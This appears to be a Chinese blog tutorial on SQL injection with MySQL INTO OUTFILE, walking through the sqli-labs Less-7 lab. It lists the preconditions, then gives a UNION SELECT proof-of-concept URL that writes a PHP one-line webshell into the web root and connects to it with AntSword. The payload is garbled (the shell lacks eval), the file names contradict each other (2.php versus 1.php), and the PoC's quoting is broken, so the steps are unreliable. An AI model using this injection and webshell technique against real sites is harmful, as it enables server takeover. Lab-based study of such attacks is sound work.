sql注入之into outfile

前提了解:

1、在数据库中into outfile语句表示把数据导出到一个文件中,那么利用这个语句,再配合满足的三个条件,即可实现文件或者一句话木马导入到数据库文件的目录中,三个条件如下:

  • 具有file权限,默认只有root权限,对目录要有写权限

  • 在数据库配置文件(my.ini)中,配置项含有:secure_file_priv=''(注意在数据库中此项默认为secure_file_priv=null,secure_file_priv表示允许导入的路径)

  • 知道数据库的绝对路径(可以通过报错信息、phpinfo界面、404界面等一些方式知道)

2、所导出的文件名一定要是网站中不存在的,不然也不会成功,

3、利用方式:select <?php @($_POST['cmd']);?> into outfile "绝对路径\\文件名",cmd为蚁剑的连接密码

4、插入这条语句的几条注意点:①由于php区分大小写,所以POST一定要大写。②由于php中双引号会解析里面的变量和特殊符号,而单引号并不会,所以要使用单引号。③路径的分隔符要使用两个反斜杠\\,一个会被转义。但分隔符也可以使用一个斜杠/来分隔,就不需要防转义

sqli-labs-7

1、输入?id=1/id=1"/,页面都没有报语法错误

2、当输入?id=1'时页面返回有语法错误,所以我们可知闭合符号中含有单引号'

3、输入?id=1'--+。然后在1后面加一些闭合符号如反括号),直到页面回显没有语法错误的报错

4、最后可得当我们输入?id=1'))--+时页面没有报语法错误,说明闭合符号为'))

5、前面已知字段数为三,所以我们直接使用into outfile来传入一句话木马

6、poc为:?id=1')) union select 1,2,"<?php @($_POST['cmd']);?> into outfile "C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/2.php"--+

7、然后可发现,指定路径上被成功上传了1.php文件

 8、然后就是用蚁剑进行连接,即可连接成功

 

 

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值